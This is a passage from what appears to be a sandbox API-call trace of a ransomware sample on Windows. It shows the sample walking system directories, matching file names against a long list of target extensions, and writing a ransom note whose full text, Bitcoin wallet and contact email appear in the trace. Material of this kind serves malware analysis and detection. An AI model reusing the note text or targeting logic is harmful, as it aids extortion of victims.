(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mov") returned 0 [0111.523] lstrlenA (lpString="*.mov") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xdw") returned 0 [0111.523] lstrlenA (lpString="*.xdw") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ods") returned 0 [0111.523] lstrlenA (lpString="*.ods") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.wav") returned 0 [0111.523] lstrlenA (lpString="*.wav") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mp3") returned 0 [0111.523] lstrlenA (lpString="*.mp3") returned 5 [0111.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.aiff") returned 0 [0111.523] lstrlenA (lpString="*.aiff") returned 6 [0111.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.flac") returned 0 [0111.524] lstrlenA (lpString="*.flac") returned 6 [0111.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.m4a") returned 0 [0111.524] lstrlenA (lpString="*.m4a") returned 5 [0111.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.csv") returned 0 [0111.524] lstrlenA (lpString="*.csv") returned 5 [0111.524] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdbc3385, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfdbc3385, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfdbc3385, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDEngine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.524] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.524] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2d60f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd2d60f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd2d60f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="dcc11202188c9fa2ba06359a04d4b43a", cAlternateFileName="DCC112~1")) returned 1 [0111.524] lstrcmpA (lpString1=".", lpString2="dcc11202188c9fa2ba06359a04d4b43a") returned -1 [0111.524] lstrcmpA (lpString1="..", lpString2="dcc11202188c9fa2ba06359a04d4b43a") returned -1 [0111.524] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.524] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="dcc11202188c9fa2ba06359a04d4b43a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a" [0111.524] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a") returned 100 [0111.524] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2d60f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd2d60f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd2d60f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.525] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.525] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2d60f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd2d60f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd2d60f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.525] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.525] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.525] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd289e34, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd289e34, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd289e34, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.525] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned -1 [0111.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned -1 [0111.525] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned -1 [0111.525] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\*.*") returned="*.*" [0111.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\" [0111.525] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\") returned="" [0111.525] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\HOW TO DECRYPT FILES.txt" [0111.526] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\dcc11202188c9fa2ba06359a04d4b43a\\how to decrypt files.txt")) returned 0xffffffff [0111.526] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\dcc11202188c9fa2ba06359a04d4b43a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.563] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.563] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.565] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.565] CloseHandle (hObject=0x90) returned 1 [0111.565] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll" [0111.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ems") returned 0 [0111.565] lstrlenA (lpString="*.ems") returned 5 [0111.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.db") returned 0 [0111.565] lstrlenA (lpString="*.db") returned 4 [0111.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dbf") returned 0 [0111.565] lstrlenA (lpString="*.dbf") returned 5 [0111.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.myox") returned 0 [0111.565] lstrlenA (lpString="*.myox") returned 6 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.myo") returned 0 [0111.566] lstrlenA (lpString="*.myo") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbw") returned 0 [0111.566] lstrlenA (lpString="*.qbw") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbb") returned 0 [0111.566] lstrlenA (lpString="*.qbb") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbm") returned 0 [0111.566] lstrlenA (lpString="*.qbm") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbo") returned 0 [0111.566] lstrlenA (lpString="*.qbo") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbx") returned 0 [0111.566] lstrlenA (lpString="*.qbx") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qba") returned 0 [0111.566] lstrlenA (lpString="*.qba") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qby") returned 0 [0111.566] lstrlenA (lpString="*.qby") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbj") returned 0 [0111.566] lstrlenA (lpString="*.qbj") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ofx") returned 0 [0111.566] lstrlenA (lpString="*.ofx") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qif") returned 0 [0111.566] lstrlenA (lpString="*.qif") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mye") returned 0 [0111.566] lstrlenA (lpString="*.mye") returned 5 [0111.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mbox") returned 0 [0111.566] lstrlenA (lpString="*.mbox") returned 6 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.eml") returned 0 [0111.567] lstrlenA (lpString="*.eml") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pst") returned 0 [0111.567] lstrlenA (lpString="*.pst") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ost") returned 0 [0111.567] lstrlenA (lpString="*.ost") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.idx") returned 0 [0111.567] lstrlenA (lpString="*.idx") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dbx") returned 0 [0111.567] lstrlenA (lpString="*.dbx") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.sql") returned 0 [0111.567] lstrlenA (lpString="*.sql") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mdb") returned 0 [0111.567] lstrlenA (lpString="*.mdb") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.fdb") returned 0 [0111.567] lstrlenA (lpString="*.fdb") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.wab") returned 0 [0111.567] lstrlenA (lpString="*.wab") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dat") returned 0 [0111.567] lstrlenA (lpString="*.dat") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.txt") returned 0 [0111.567] lstrlenA (lpString="*.txt") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.jpeg") returned 0 [0111.567] lstrlenA (lpString="*.jpeg") returned 6 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.jpg") returned 0 [0111.567] lstrlenA (lpString="*.jpg") returned 5 [0111.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.png") returned 0 [0111.568] lstrlenA (lpString="*.png") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.php") returned 0 [0111.568] lstrlenA (lpString="*.php") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.cs") returned 0 [0111.568] lstrlenA (lpString="*.cs") returned 4 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.cpp") returned 0 [0111.568] lstrlenA (lpString="*.cpp") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.rar") returned 0 [0111.568] lstrlenA (lpString="*.rar") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.zip") returned 0 [0111.568] lstrlenA (lpString="*.zip") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.html") returned 0 [0111.568] lstrlenA (lpString="*.html") returned 6 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.htm") returned 0 [0111.568] lstrlenA (lpString="*.htm") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xlsx") returned 0 [0111.568] lstrlenA (lpString="*.xlsx") returned 6 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xls") returned 0 [0111.568] lstrlenA (lpString="*.xls") returned 5 [0111.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mp4") returned 0 [0111.568] lstrlenA (lpString="*.mp4") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ppt") returned 0 [0111.569] lstrlenA (lpString="*.ppt") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pptx") returned 0 [0111.569] lstrlenA (lpString="*.pptx") returned 6 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.doc") returned 0 [0111.569] lstrlenA (lpString="*.doc") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dot") returned 0 [0111.569] lstrlenA (lpString="*.dot") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.docx") returned 0 [0111.569] lstrlenA (lpString="*.docx") returned 6 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.7z") returned 0 [0111.569] lstrlenA (lpString="*.7z") returned 4 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.tar") returned 0 [0111.569] lstrlenA (lpString="*.tar") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.bz2") returned 0 [0111.569] lstrlenA (lpString="*.bz2") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.gz") returned 0 [0111.569] lstrlenA (lpString="*.gz") returned 4 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mkv") returned 0 [0111.569] lstrlenA (lpString="*.mkv") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.eml") returned 0 [0111.569] lstrlenA (lpString="*.eml") returned 5 [0111.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.msg") returned 0 [0111.569] lstrlenA (lpString="*.msg") returned 5 [0111.569] PathMatchSpecA 